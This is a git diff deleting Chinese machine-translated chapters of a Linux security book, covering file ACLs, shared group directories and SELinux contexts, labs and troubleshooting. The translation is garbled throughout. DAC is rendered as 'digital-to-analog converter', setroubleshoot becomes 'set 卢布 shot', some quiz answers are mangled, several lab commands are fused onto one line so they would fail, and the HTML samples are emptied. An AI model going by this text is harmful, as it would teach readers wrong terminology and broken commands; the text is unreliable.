-这里没有你没见过的东西。Vicky 刚刚删除了该组和其他人的所有权限,并设置了一个 ACL,只允许埃及艳后读取该文件。让我们看看克利奥帕特拉是否真的能读懂它: - -```sh -[donnie@localhost /]$ su - cleopatra -Password: - -[cleopatra@localhost ~]$ cd /marketing - -[cleopatra@localhost marketing]$ ls -l -total 4 --rw-rw-r--. 1 charlie marketing 0 Nov 13 15:59 charlie_file.txt --rw-r-----+ 1 vicky marketing 49 Nov 13 16:24 vicky_file.txt - -[cleopatra@localhost marketing]$ cat vicky_file.txt -This file is only for my good friend, Cleopatra. -[cleopatra@localhost marketing]$ -``` - -目前为止,一切顺利。但是,克利奥帕特拉能给它写信吗?让我们来看看: - -```sh -[cleopatra@localhost marketing]$ echo "You are my friend too, Vicky." >> vicky_file.txt --bash: vicky_file.txt: Permission denied -[cleopatra@localhost marketing]$ -``` - -好吧,克利奥帕特拉不能这么做,因为维基只允许她在 ACL 中拥有读取权限。 - -不过,现在那个偷偷摸摸想窥探其他用户文件的查理怎么办?让我们看看查理能否做到: - -```sh -[donnie@localhost /]$ su - charlie -Password: -Last login: Mon Nov 13 15:58:56 EST 2017 on pts/0 - -[charlie@localhost ~]$ cd /marketing - -[charlie@localhost marketing]$ cat vicky_file.txt -cat: vicky_file.txt: Permission denied -[charlie@localhost marketing]$ -``` - -所以,是的,确实只有克利奥帕特拉可以访问维基的文件,即使那样也只是为了阅读。 - -# 动手实验–创建共享组目录 - -在本实验中,您只需将本章中所学的内容整合在一起,为一个组创建一个共享目录。您可以在任何一台虚拟机上执行此操作: - -1. 在任一虚拟机上,创建`sales`组: - -```sh -sudo groupadd sales -``` - -2. 创建用户`mimi`、`mrgray`和`mommy`,在创建帐户时将他们添加到销售组。 - -在 CentOS 虚拟机上,执行以下操作: - -```sh -sudo useradd -G sales mimi -sudo useradd -G sales mrgray -sudo useradd -G sales mommy -``` - -在 Ubuntu 虚拟机上,执行以下操作: - -```sh -sudo useradd -m -d /home/mimi -s /bin/bash -G sales mimi -sudo useradd -m -d /home/mrgray -s /bin/bash -G sales mrgray -sudo useradd -m -d /home/mommy -s /bin/bash -G sales mommy -``` - -3. 为每个用户分配一个密码。 -4. 在文件系统的根级别创建`sales`目录。设置适当的所有权和权限,包括 SGID 和粘性位: - -```sh -sudo mkdir /sales -sudo chown nobody:sales /sales -sudo chmod 3770 /sales -ls -ld /sales -``` - -5. 以咪咪的身份登录,让她创建一个文件: - -```sh -su - mimi -cd /sales echo "This file belongs to Mimi." > mimi_file.txt -ls -l -``` - -6. 让咪咪在她的文件上设置一个 ACL,只允许格雷先生阅读。然后,有咪咪退出登录: - -```sh -chmod 600 mimi_file.txt -setfacl -m u:mrgray:r mimi_file.txt -getfacl mimi_file.txt -ls -l -exit -``` - -7. 让格雷先生登录,看看他能对咪咪的文件做些什么。然后,让格雷先生创建自己的文件并注销: - -```sh -su - mrgray -cd /sales -cat mimi_file.txt -echo "I want to add something to this file." >> -mimi_file.txt echo "Mr. Gray will now create his own file." > -mr_gray_file.txt ls -l -exit -``` - -8. 妈妈现在会登录并试图通过窥探其他用户的文件并试图删除它们来制造混乱: - -```sh -su - mommy -cat mimi_file.txt -cat mr_gray_file.txt -rm -f mimi_file.txt -rm -f mr_gray_file.txt -exit -``` - -9. 实验室结束。 - -# 摘要 - -在本章中,我们看到了如何将数模转换器提升到众所周知的下一个水平。我们首先看到了如何创建和管理 ACL,以便对文件和目录提供更细粒度的访问控制。然后,我们看到了如何为特定目的创建用户组,以及如何向其中添加成员。然后,我们看到了如何使用 SGID 位、粘性位和 ACL 来管理共享组目录。 - -但有时,数模转换器可能不足以完成这项工作。对于这些时间,我们还有强制访问控制,我们将在下一章中介绍。到时候见。 - -# 问题 - -1. 为共享目录中的文件创建 ACL 时,您必须首先做什么才能使 ACL 有效? - A .删除文件中除用户以外的所有人的所有正常权限。 - B .确保文件有`644`设置的权限值。 - C .确保组中的每个人都具有文件的读/写权限。 - D .确保为文件设置了 SUID 权限。 -2. 在共享组目录上设置 SGID 权限有什么好处? - A .无。这是一个安全风险,永远不应该做。 - B .它防止组成员删除彼此的文件。 - C .它使得在目录中创建的每个文件都与同目录相关联的组相关联。 - D .它赋予任何访问目录的人与目录用户相同的权限。 -3. 在设置了 SGID 和粘性位的情况下,以下哪个命令可以为`marketing`共享组目录设置适当的权限? - a .`sudo chmod 6770 marketing` - b .`sudo chmod 3770 marketing` - c .`sudo chmod 2770 marketing` - d .`sudo chmod 1770 marketing` -4. 您会使用以下哪个`setfacl`选项从 ACL 中删除一个特定权限? - a .`-xB. -r` - c .`-w` - d .`m: :`t . e .`-m` - f .`x: :` -5. 以下哪个陈述是正确的? - 答:当使用`.tar`时,您必须使用`--acls`选项来创建和提取归档文件,以便保留归档文件上的 ACL。 - B .使用`.tar`时,您只需要使用`--acls`选项来创建归档文件,以便保留归档文件上的 ACL。 - C .使用`.tar`时,ACL 会自动保留在存档文件中。 - D .使用`.tar`时,无法保留归档文件上的 ACL。 - -6. 以下哪两种方法不是将用户莱昂内尔添加到`sales`组的有效方法? - a .`sudo useradd -g sales lionel` - b .`sudo useradd -G sales lionel` - c .`sudo usermod -g sales lionel` - d .`sudo usermod -G sales lionel` - e .手工编辑`/etc/group`文件。 -7. 创建继承的 ACL 时会发生什么? - 答:在继承 ACL 的目录中创建的每个文件都将与该目录相关联的组相关联。 - B .在继承了该 ACL 的目录中创建的每个文件都将继承该 ACL。 - C .在该目录中使用继承的 ACL 创建的每个文件都将具有与该目录相同的权限设置。 - D .在该目录中创建的每个文件都将设置粘性位。 -8. 您将使用以下哪个命令向用户 Frank 授予文件的只读权限? - a .`chattr -m u:frank:r somefile.txt`T5】b .`aclmod -m u:frank:r somefile.txt`T6】c .`getfacl -m u:frank:r somefile.txt`T7】d .`setfacl -m u:frank:r somefile.txt` -9. 您刚刚在共享组目录中执行了`ls -l`命令。您如何从中判断是否为任何文件设置了 ACL? - A .设置了 ACL 的文件在权限设置的开头会有`+`。 - B .设置了 ACL 的文件在权限设置的开头会有`-`。 - C .设置了 ACL 的文件在权限设置的末尾会有`+`。 - D .设置了 ACL 的文件在权限设置的最后会有`-`。 - e .`ls -l`命令将显示该文件的 ACL。 -10. 您会使用以下哪一项来查看`somefile.txt`文件上的 ACL? - a .`getfacl somefile.txt` - b .`ls -l somefile.txt` - c .`ls -a somefile.txt` - d .`viewacl somefile.txt` - -# 进一步阅读 - -* 如何从 linux 命令行创建用户和组:[https://www . tech Republic . com/article/如何从命令行创建 Linux 中的用户和组/](https://www.techrepublic.com/article/how-to-create-users-and-groups-in-linux-from-the-command-line/) -* 将用户添加到组:[https://www . how togek . com/50787/在 linux 上添加用户到组或第二组/](https://www.howtogeek.com/50787/add-a-user-to-a-group-or-second-group-on-linux/) -* 目录上的 SGID -* 什么是粘性位,如何在 Linux 中设置:[https://www.linuxnix.com/sticky-bit-set-linux/](https://www.linuxnix.com/sticky-bit-set-linux/) \ No newline at end of file diff --git a/docs/master-linux-sec-hard/09.md b/docs/master-linux-sec-hard/09.md deleted file mode 100644 index 43498f48..00000000 --- a/docs/master-linux-sec-hard/09.md +++ /dev/null @@ -1,1490 +0,0 @@ -# 九、使用 SELinux 和 AppArmor 实现强制访问控制 - -正如我们在前面几章中看到的,**自主** **访问** **控制(DAC)** 允许用户控制谁可以访问自己的文件和目录。但是,如果您的公司需要对谁访问什么进行更多的管理控制,该怎么办?为此,我们需要某种**强制** **访问** **控制(MAC)。** - -我所知道的解释数模转换器和数模转换器区别的最好方法是回到我的海军时代。当时我正在乘坐潜艇,我必须获得绝密许可才能工作。有了数模转换器,我有能力把我的一本绝密书拿到食堂,然后交给一个没有那种权限的厨师。对于 MAC,有一些规则阻止我这么做。在操作系统上,事情的运作方式基本相同。 - -有几种不同的 MAC 系统可用于 Linux。我们将在本章中介绍的两个是 SELinux 和 AppArmor。我们将看看它们都是什么,如何配置它们,以及如何排除它们的故障。 - -在本章中,我们将涵盖以下主题: - -* SELinux 是什么,它如何让系统管理员受益 -* 如何设置文件和目录的安全上下文 -* 如何使用 set 卢布 How 解决 SELinux 问题 -* 查看 SELinux 策略以及如何创建自定义策略 -* 什么是 AppArmor,它如何让系统管理员受益 -* 查看服装政策 -* 使用 AppArmor 命令行实用程序 -* 常见问题的故障排除 -* 利用带有邪恶 Docker 容器的系统 - -让我们从看看 SELinux 以及您如何从中受益开始。 - -# SELinux 如何让系统管理员受益 - -SELinux 是一个由美国国家安全局开发的免费开源软件项目。虽然理论上它可以安装在任何 Linux 发行版上,但红帽类型的发行版是唯一已经安装并启用的发行版。它使用 Linux 内核模块中的代码以及扩展的文件系统属性来帮助确保只有授权的用户和进程才能访问敏感文件或系统资源。有三种方法可以使用 SELinux: - -* 它可以帮助防止入侵者利用系统。 -* 它可用于确保只有拥有适当安全权限的用户才能访问标有安全分类的文件。 -* 除了 MAC 之外,SELinux 还可以用作一种基于角色的访问控制。 - -在本章中,我将只介绍这三种用途中的第一种,因为这是使用 SELinux 的最常见方式。还有一个事实是,涵盖所有这三种用途需要写一整本书,我没有空间在这里做。 - -If you go through this introduction to SELinux and find that you still need more SELinux information, you'll find whole books and courses on just this subject on the Packt Publishing website. - -那么,SELinux 如何让忙碌的系统管理员受益呢?你可能还记得几年前,关于 Shellshock 病毒的新闻登上了世界头条。本质上,Shellshock 是 Bash shell 中的一个 bug,它允许入侵者闯入一个系统,并通过获得 root 权限来利用它。对于运行 SELinux 的系统,坏人仍然有可能闯入,但是 SELinux 会阻止他们成功运行他们的漏洞。 - -SELinux 也是另一种机制,可以帮助保护用户主目录中的数据。如果您有一台设置为网络文件系统服务器、Samba 服务器或 web 服务器的计算机,SELinux 将阻止这些守护程序访问用户的主目录,除非您明确配置 SELinux 允许这种行为。 - -在 web 服务器上,您可以使用 SELinux 来防止恶意 CGI 脚本或 PHP 脚本的执行。如果不需要服务器运行 CGI 或 PHP 脚本,可以在 SELinux 中禁用它们。 - -有了 Docker 和没有 MAC,普通用户很容易突破 Docker 容器并获得对主机的根级访问。正如我们将在本章末尾看到的,SELinux 是一个有用的工具,用于加固运行 Docker 容器的服务器。 - -所以现在你可能认为每个人都会使用这样一个伟大的工具,对吗?可悲的是,事实并非如此。一开始,SELinux 以难以使用而闻名,许多管理员只会禁用它。事实上,你在网上或 YouTube 上看到的很多教程都把禁用 SE *Linux* 作为第一步。在这一节中,我想向您展示情况已经有所改善,SELinux 不再配得上它的坏名声。 - -# 为文件和目录设置安全上下文 - -把 SELinux 想象成一个美化的标签系统。它通过扩展文件属性向文件和目录添加标签,称为安全上下文。它还向系统进程添加了相同类型的标签,称为域。要在您的 CentOS 机器上查看这些上下文和域,请将`-Z`选项与`ls`或`ps`一起使用。例如,我自己的主目录中的文件和目录如下所示: - -```sh -[donnie@localhost ~]$ ls -Z -drwxrwxr-x. donnie donnie unconfined_u:object_r:user_home_t:s0 acl_demo_dir --rw-rw-r--. donnie donnie unconfined_u:object_r:user_home_t:s0 yum_list.txt -[donnie@localhost ~]$ -``` - -我的系统上的进程看起来如下所示: - -```sh -[donnie@localhost ~]$ ps -Z -LABEL PID TTY TIME CMD -unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 1322 pts/0 00:00:00 bash -unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 3978 pts/0 00:00:00 ps -[donnie@localhost ~]$ -``` - -现在,让我们把它分解一下。在`ls -Z`和`ps -Z`命令的输出中,我们有以下部分: - -* **SELinux 用户**:在这两种情况下,SELinux 用户都是通用的`unconfined_u`。 -* **SELinux 角色**:在`ls -Z`的例子中,我们看到角色是`object_r`,在`ps -Z`的例子中是`unconfined_r`。 -* **类型**:是`ls -Z`输出中的`user_home_t`,是`ps -Z`输出中的`unconfined_t`。 -* **灵敏度**:在`ls -Z`输出中是`s0`。在`ps -Z`输出中,是`s0-s0`。 -* **类别**:我们在`ls -Z`输出中没有看到类别,但是在`ps -Z`输出中看到了`c0.c1023`。 - -在前面所有的安全上下文和安全域组件中,我们现在唯一感兴趣的是类型。就本章而言,我们只对介绍一个普通的 Linux 管理员需要知道什么来防止入侵者利用系统感兴趣,类型是我们需要使用的唯一组件。当我们设置高级的、基于安全分类的访问控制和基于角色的访问控制时,所有其他组件都会发挥作用。 - -好了,下面是对这如何帮助 Linux 管理员维护安全性的一个有些过于简化的解释。我们希望系统进程只访问我们允许它们访问的对象。(系统进程包括 web 服务器守护程序、FTP 守护程序、Samba 守护程序和 Secure Shell 守护程序等。对象包括文件、目录和网络端口。)为了实现这一点,我们将为所有流程和所有对象分配一个类型。然后,我们将创建定义哪些流程类型可以访问哪些对象类型的策略。 - -幸运的是,每当您安装任何红帽类型的发行版时,几乎所有的艰苦工作都已经为您完成了。红帽类型的发行版都已经启用了 SELinux,并设置了目标策略。把这个有针对性的政策想象成一个稍微宽松的政策,允许一个随意的桌面用户坐在电脑前,实际上进行业务,而不必调整任何 SELinux 设置。但是,如果您是服务器管理员,您可能会发现自己不得不调整此策略,以便允许服务器守护程序做您需要它们做的事情。 - -The targeted policy, which comes installed by default, is what a normal Linux administrator will use in his or her day-to-day duties. If you look in the repositories of your CentOS virtual machine, you'll see that there are also several others, which we won't cover in this book. - -# 安装 SELinux 工具 - -出于一些我永远无法理解的奇怪原因,您需要管理 SELinux 的工具在默认情况下不会安装,尽管 SELinux 本身会安装。因此,您需要在 CentOS 虚拟机上做的第一件事就是安装它们。 - -在 CentOS 7 上,运行以下命令: - -```sh -sudo yum install setools policycoreutils policycoreutils-python -``` - -在 CentOS 8 上,运行以下命令: - -```sh -sudo dnf install setools policycoreutils policycoreutils-python-utils -``` - -本章稍后,在*使用* *设置故障排除*部分,我们将了解如何使用设置故障排除来帮助诊断 SELinux 问题。为了在我们到达那里时有一些很酷的错误消息可以查看,现在继续安装 set 卢布 shot,并通过重新启动`auditd`守护程序来激活它。(没有 set 卢布 shot 守护程序,因为 set 卢布 shot 是要由`auditd`守护程序控制的。)像这样安装 set 卢布 shot。 - -对于 CentOS 7,请使用以下命令: - -```sh -sudo yum install setroubleshoot -sudo service auditd restart -``` - -对于 CentOS 8,请使用以下命令: - -```sh -sudo dnf install setroubleshoot -sudo service auditd restart -``` - -我们在红帽型系统上必须处理的一个小系统怪癖是,你不能用正常的`systemctl`命令停止或重启`auditd`守护进程。然而,老式的`service`命令奏效了。不知什么原因,红帽人配置了`auditd`服务文件,禁用了正常的系统做事方式。 - -Depending on the type of installation that you chose when installing CentOS, you might or might not already have setroubleshoot installed. To be sure, go ahead and run the command to install it. It won't hurt anything if setroubleshoot is already there. - -现在,您已经拥有了开始工作所需的一切。现在让我们看看 SELinux 能为繁忙的 web 服务器管理员做些什么。 - -# 在启用 SELinux 的情况下创建网页内容文件 - -现在,让我们看看如果您的 web 内容文件设置了错误的 SELinux 类型会发生什么。首先,我们将在 CentOS 虚拟机上安装、启用和启动 Apache 网络服务器。(注意,包括`--now`选项允许我们在一个步骤中启用和启动一个守护进程。)在 CentOS 7 上执行以下操作: - -```sh -sudo yum install httpd -sudo systemctl enable --now httpd -``` - -在 CentOS 8 上,使用以下命令: - -```sh -sudo dnf install httpd -sudo systemctl enable --now httpd -``` - -如果您还没有这样做,您需要将防火墙配置为允许访问 web 服务器: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --permanent --add-service=http -success -[donnie@localhost ~]$ sudo firewall-cmd --reload -success -[donnie@localhost ~]$ -``` - -当我们查看 Apache 进程的 SELinux 信息时,我们将看到以下内容: - -```sh -[donnie@localhost ~]$ ps ax -Z | grep httpd -system_u:system_r:httpd_t:s0 3689 ? Ss 0:00 /usr/sbin/httpd -DFOREGROUND -system_u:system_r:httpd_t:s0 3690 ? S 0:00 /usr/sbin/httpd -DFOREGROUND -system_u:system_r:httpd_t:s0 3691 ? S 0:00 /usr/sbin/httpd -DFOREGROUND -system_u:system_r:httpd_t:s0 3692 ? S 0:00 /usr/sbin/httpd -DFOREGROUND -system_u:system_r:httpd_t:s0 3693 ? S 0:00 /usr/sbin/httpd -DFOREGROUND -system_u:system_r:httpd_t:s0 3694 ? S 0:00 /usr/sbin/httpd -DFOREGROUND -unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 3705 pts/0 R+ 0:00 grep --color=auto httpd - -``` - -正如我之前所说,我们对用户或角色不感兴趣。然而,我们对类型感兴趣,在这种情况下是`httpd_t`。 - -在红帽类型的系统上,我们通常将网页内容文件放在`/var/www/html`目录中。让我们看看那个`html`目录的 SELinux 上下文: - -```sh -[donnie@localhost www]$ pwd -/var/www -[donnie@localhost www]$ ls -Zd html/ -drwxr-xr-x. root root system_u:object_r:httpd_sys_content_t:s0 html/ -[donnie@localhost www]$ -``` - -类型是`httpd_sys_content`,所以`httpd`守护程序应该能够访问这个目录是理所当然的。它目前是空的,所以让我们`cd`进入它并创建一个简单的索引文件: - -```sh -[donnie@localhost www]$ cd html -[donnie@localhost html]$ pwd -/var/www/html -[donnie@localhost html]$ sudo vim index.html -``` - -以下是我将放入文件的内容: - -```sh - - - -Test of SELinux - - - -Let's see if this SELinux stuff really works! - - -``` - -好吧,正如我所说的,这很简单,因为我的 HTML 手工编码技能已经不是以前的样子了。但是,它仍然服务于我们目前的目的。 - -查看 SELinux 上下文,我们看到该文件与`html`目录具有相同的类型: - -```sh -[donnie@localhost html]$ ls -Z --rw-r--r--. root root unconfined_u:object_r:httpd_sys_content_t:s0 index.html -[donnie@localhost html]$ -``` - -我现在可以从我信任的 OpenSUSE 工作站的网络浏览器导航到此页面: - -![](img/a4b2b084-2356-43d0-bc85-93a32c14c8ec.png) - -现在,让我们看看如果我决定在自己的主目录中创建内容文件,然后将它们移动到`html`目录会发生什么。首先,让我们看看我的新文件的 SELinux 上下文是什么: - -```sh -[donnie@localhost ~]$ pwd -/home/donnie -[donnie@localhost ~]$ ls -Z index.html --rw-rw-r--. donnie donnie unconfined_u:object_r:user_home_t:s0 index.html -[donnie@localhost ~]$ -``` - -上下文类型现在是`user_home_t`,这是我在主目录中创建的一个可靠的指示器。我现在将文件移动到`html`目录,覆盖旧文件: - -```sh -[donnie@localhost ~]$ sudo mv index.html /var/www/html/ -[sudo] password for donnie: - -[donnie@localhost ~]$ cd /var/www/html - -[donnie@localhost html]$ ls -Z --rw-rw-r--. donnie donnie unconfined_u:object_r:user_home_t:s0 index.html -[donnie@localhost html]$ -``` - -即使我将文件移到了`/var/www/html`目录,SELinux 类型仍然与用户的主目录相关联。现在,我将转到主机的浏览器来刷新页面: - -![](img/58ec09ab-f7c3-41c5-8270-25fdcc5d819f.png) - -所以,我有点小问题。分配给我的文件的类型与 httpd 守护进程的类型不匹配,因此 SELinux 不允许`httpd`进程访问该文件。 - -Had I copied the file to the `html` directory instead of moving it, the SELinux context would have automatically changed to match that of the destination directory. - -# 修复不正确的 SELinux 上下文 - -好吧,我有一个没人能访问的网络内容文件,我真的觉得不能创建一个新的。那么,我该怎么办?实际上,我们有三种不同的实用程序来解决这个问题: - -* `chcon` -* `restorecon` -* `semanage` - -让我们看看他们每个人。 - -# 使用 chcon - -有两种方法可以使用`chcon`修复文件或目录中不正确的 SELinux 类型。首先是手动指定正确的类型: - -```sh -[donnie@localhost html]$ sudo chcon -t httpd_sys_content_t index.html -[sudo] password for donnie: - -[donnie@localhost html]$ ls -Z --rw-rw-r--. donnie donnie unconfined_u:object_r:httpd_sys_content_t:s0 index.html -[donnie@localhost html]$ -``` - -我们可以使用`chcon`来改变上下文的任何部分,但是正如我一直说的,我们只对类型感兴趣,类型会随着`-t`选项而改变。您可以在`ls -Z`输出中看到命令成功。 - -使用`chcon`的另一种方法是引用一个具有适当上下文的文件。出于演示目的,我将`index.html`文件更改回主目录类型,并在`/var/www/html`目录中创建了一个新文件: - -```sh -[donnie@localhost html]$ ls -Z --rw-rw-r--. donnie donnie unconfined_u:object_r:user_home_t:s0 index.html --rw-r--r--. root root unconfined_u:object_r:httpd_sys_content_t:s0 some_file.html -[donnie@localhost html]$ -``` - -如您所见,我在这个目录中创建的任何文件都将自动具有适当的 SELinux 上下文设置。现在,让我们使用这个新文件作为参考,以便在`index.html`文件上设置适当的上下文: - -```sh -[donnie@localhost html]$ sudo chcon --reference some_file.html index.html -[sudo] password for donnie: - -[donnie@localhost html]$ ls -Z --rw-rw-r--. donnie donnie unconfined_u:object_r:httpd_sys_content_t:s0 index.html --rw-r--r--. root root unconfined_u:object_r:httpd_sys_content_t:s0 some_file.html -[donnie@localhost html]$ -``` - -所以,我使用了`--reference`选项,并指定了我想要用作参考的文件。我想要更改的文件列在命令的末尾。现在,这都是好的,但我想找到一种更简单的方法,不需要太多的打字。毕竟我是老人,不想自己用力过猛。那么,我们来看看`restorecon`的效用。 - -# 使用 restorecon - -使用`restorecon`很容易。只需键入`restorecon`,后跟需要更改的文件名即可。我再次将`index.html`文件的上下文更改回主目录类型。不过这次,我用`restorecon`来设置正确的类型: - -```sh -[donnie@localhost html]$ ls -Z --rw-rw-r--. donnie donnie unconfined_u:object_r:user_home_t:s0 index.html - -[donnie@localhost html]$ sudo restorecon index.html - -[donnie@localhost html]$ ls -Z --rw-rw-r--. donnie donnie unconfined_u:object_r:httpd_sys_content_t:s0 index.html -[donnie@localhost html]$ -``` - -仅此而已。 - -You can also use `chcon` and `restorecon` to change the context of an entire directory and its contents. For either one, just use the `-R` option. The following is an example: - -`sudo chcon -R -t httpd_sys_content_t /var/www/html/` -`sudo restorecon -R /var/www/html/` - -(记住:`-R`代表递归。) - -还有最后一件事要处理,尽管它并没有真正影响我们访问这个文件的能力。也就是说,我需要将文件的所有权更改给 Apache 用户: - -```sh -[donnie@localhost html]$ sudo chown apache: index.html -[sudo] password for donnie: - -[donnie@localhost html]$ ls -l -total 4 --rw-rw-r--. 1 apache apache 125 Nov 22 16:14 index.html -[donnie@localhost html]$ -``` - -现在我们来看看最后的效用`semanage`。 - -# 使用语义 - -在我刚才介绍的场景中,无论是`chcon`还是`restorecon`都非常适合您的需求。活动的 SELinux 策略规定了某些目录中的安全上下文应该是什么样子。只要您在活动 SELinux 策略中定义的目录中使用`chcon`或`restorecon`,您就很好。但是假设您已经在其他地方创建了一个目录,您想使用它来提供 web 内容文件。您需要在该目录及其所有文件中设置`httpd_sys_content_t`类型。但是,如果您使用`chcon`或`restorecon`进行更改,该更改将无法在系统重新启动后继续存在。要使更改永久化,您需要使用`semanage`。 - -假设出于某种奇怪的原因,我想从我在`/home`目录中创建的目录中提供网络内容: - -```sh -[donnie@localhost home]$ pwd -/home - -[donnie@localhost home]$ sudo mkdir webdir -[sudo] password for donnie: - -[donnie@localhost home]$ ls -Zd webdir -drwxr-xr-x. root root unconfined_u:object_r:home_root_t:s0 webdir -[donnie@localhost home]$ -``` - -因为我必须使用我的`sudo`能力在这里创建目录,它与根用户的 home_root_t 类型相关联,而不是普通的用户 _home_dir_t 类型。我在此目录中创建的任何文件都将具有相同的类型: - -```sh -[donnie@localhost webdir]$ ls -Z --rw-r--r--. root root unconfined_u:object_r:home_root_t:s0 index.html -[donnie@localhost webdir]$ -``` - -下一步是使用`semanage`将此目录和`httpd_sys_content_t`类型的永久映射添加到活动策略的上下文列表中: - -```sh -[donnie@localhost home]$ sudo semanage fcontext -a -t httpd_sys_content_t "/home/webdir(/.*)?" - -[donnie@localhost home]$ ls -Zd /home/webdir -drwxr-xr-x. root root unconfined_u:object_r:httpd_sys_content_t:s0 /home/webdir -[donnie@localhost home]$ -``` - -好了,下面是`semanage`命令的分解: - -* `fcontext`:因为`semanage`有很多用途,所以我们必须指定我们要使用文件上下文。 -* `-a`:这表示我们正在向活动 SELinux 策略的上下文列表中添加一条新记录。 -* `-t`:指定我们要映射到新目录的类型。在本例中,我们使用`httpd_sys_content`类型创建一个新的映射。 -* `/home/webdir(/.*)?`:这一段乱码就是所谓的正则表达式。我在这里不能深入正则表达式的本质细节,所以说正则表达式是一种我们用来匹配文本模式的语言就足够了。(是的,我确实想说*是*而不是【是】,因为正则表达式是整个语言的名称。)在这种情况下,我不得不使用这个特殊的正则表达式来递归这个`semanage`命令,因为`semanage`没有`-R`选项开关。使用这个正则表达式,我是说我希望在这个目录中创建的任何东西都具有与目录本身相同的 SELinux 类型。 - -最后一步是在该目录上进行`restorecon -R`操作,以确保设置了正确的标签: - -```sh -[donnie@localhost home]$ sudo restorecon -R webdir - -[donnie@localhost home]$ ls -Zd /home/webdir -drwxr-xr-x. root root unconfined_u:object_r:httpd_sys_content_t:s0 /home/webdir -[donnie@localhost home]$ -``` - -是的,我知道。你看着这个说,“但是这个`ls -Zd`输出看起来和你做了 semanage 命令之后一样。”你是对的。运行`semanage`命令后,类型似乎设置正确。但是`semanage-fcontext`手册说无论如何要运行`restorecon`,所以我就运行了。 - -For more information on how to use `semanage` to manage security contexts, refer to the relevant man page by entering `man semanage-fcontext`. - -# 动手实验–SELinux 类型的实施 - -在本实验中,您将安装 Apache 网络服务器和适当的 SELinux 工具。然后,您将看到将错误的 SELinux 类型分配给 web 内容文件的效果。如果您准备好了,让我们开始: - -1. 在 CentOS 7 上安装 Apache 以及所有必需的 SELinux 工具: - -```sh -sudo yum install httpd setroubleshoot setools policycoreutils policycoreutils-python -``` - -在 CentOS 8 上,使用以下命令: - -```sh -sudo dnf install httpd setroubleshoot setools policycoreutils policycoreutils-python-utils -``` - -2. 通过重新启动`auditd`服务激活 set 卢布拍摄: - -```sh -sudo service auditd restart -``` - -3. 启用并启动 Apache 服务,打开防火墙上的端口`80`: - -```sh -sudo systemctl enable --now httpd sudo firewall-cmd --permanent --add-service=http -sudo firewall-cmd --reload -``` - -4. 在`/var/www/html`目录中,创建一个包含以下内容的`index.html`文件: - -```sh - - - SELinux Test Page - - - This is a test of SELinux. - - -``` - -5. 查看`index.html`文件的信息: - -```sh -ls -Z index.html -``` - -6. 在主机的网络浏览器中,导航到 CentOS 虚拟机的 IP 地址。您应该能够查看该页面。 -7. 通过将`index.html`文件的类型更改为不正确的类型来引发 SELinux 违规: - -```sh -sudo chcon -t tmp_t index.html -ls -Z index.html -``` - -8. 回到主机的网络浏览器,重新加载文档。您现在应该会看到一条`Forbidden`消息。 -9. 使用`restorecon`将文件改回正确的类型: - -```sh -sudo restorecon index.html -``` - -10. 在主机的网络浏览器中重新加载页面。您现在应该可以查看该页面了。 -11. 实验室结束。 - -现在我们已经了解了如何使用基本的 SELinux 命令,让我们来看看一个很酷的工具,它可以让故障排除变得更加容易。 - -# 使用 set 卢布 shot 进行故障排除 - -所以,你现在挠头说,当我不能访问我应该能访问的东西时,我怎么知道这是 SELinux 的问题?啊,很高兴你问了。 - -# 查看 set 卢布 shot 消息 - -每当发生违反 SELinux 规则的事情时,它都会被记录在`/var/log/audit/audit.log`文件中。有一些工具可以让你直接读取日志,但是要诊断 SELinux 问题,最好使用 set 卢布 shot。set 卢布 that 的美妙之处在于,它从`audit.log`文件中提取神秘、难以解释的 SELinux 消息,并将其翻译成简单、自然的语言。它发送到`/var/log/messages`文件的信息甚至包含如何解决问题的建议。为了说明这是如何工作的,让我们回到我们的问题,在`/var/www/html`目录中的一个文件被分配了错误的 SELinux 类型。当然,我们马上就知道问题出在哪里了,因为那个目录中只有一个文件,一个简单的`ls -Z`显示出它有什么问题。然而,让我们暂时忽略这一点,说我们不知道问题出在哪里。打开`less`中的`/var/log/messages`文件,搜索`sealert`,我们会发现这条信息: - -```sh -Nov 26 21:30:21 localhost python: SELinux is preventing httpd from open access on the file /var/www/html/index.html.#012#012***** Plugin restorecon (92.2 confidence) suggests ************************#012#012If you want to fix the label. #012/var/www/html/index.html default label should be httpd_sys_content_t.#012Then you can run restorecon.#012Do#012# /sbin/restorecon -v /var/www/html/index.html#012#012***** Plugin catchall_boolean (7.83 confidence) suggests ******************#012#012If you want to allow httpd to read user content#012Then you must tell SELinux about this by enabling the 'httpd_read_user_content' boolean.#012#012Do#012setsebool -P httpd_read_user_content 1#012#012***** Plugin catchall (1.41 confidence) suggests **************************#012#012If you believe that httpd should be allowed open access on the index.html file by default.#012Then you should report this as a bug.#012You can generate a local policy module to allow this access.#012Do#012allow this access for now by executing:#012# ausearch -c 'httpd' --raw | audit2allow -M my-httpd#012# semodule -i my-httpd.pp#012 -``` - -这条信息的第一行告诉我们问题是什么。据说 SELinux 阻止我们访问`/var/www/html/index.html`文件,因为它设置了错误的类型。然后它给了我们几个关于如何解决问题的建议,第一个是运行`restorecon`命令,正如我已经向您展示的那样。 - -A good rule-of-thumb to remember when reading these setroubleshoot messages is that the first suggestion in the message is normally the one that will fix the problem. - -# 使用图形 set 卢布 shot 实用程序 - -到目前为止,我只谈到了在文本模式服务器上使用 set 卢布 shot。毕竟,看到 Linux 服务器以文本模式运行是非常常见的,所以我们所有的 Linux 人都必须成为文本模式的战士。但是在桌面系统或安装了桌面界面的服务器上,有一个图形实用程序,当 set 卢布 shot 检测到问题时,它会自动提醒您: - -![](img/ba52942c-1725-4298-a995-f768f5b8c896.png) - -单击该警报图标,您将看到以下内容: - -![](img/b5d9fd3e-7c28-43ae-9a74-05d9592206d8.png) - -单击“疑难解答”按钮,您将看到如何解决问题的建议列表: - -![](img/f26a373a-3862-4f5b-8d3c-98e179cb5a2c.png) - -就像图形用户界面经常出现的情况一样,这基本上是不言自明的,所以你应该不会有任何问题。 - -# 许可模式下的故障排除 - -如果你正在处理一个简单的问题,比如我刚才给你看的那个,那么你可能会认为你可以安全地按照 set 卢布 shot 消息中的第一个建议去做。但是有时候事情会变得更复杂,你可能会遇到不止一个问题。对于这种情况,您需要使用许可模式。 - -当您第一次安装红帽或 CentOS 系统时,SELinux 处于强制模式,这是默认模式。这意味着 SELinux 实际上将停止违反活动 SELinux 策略的操作。这也意味着,如果您在尝试执行某个操作时遇到多个 SELinux 问题,SELinux 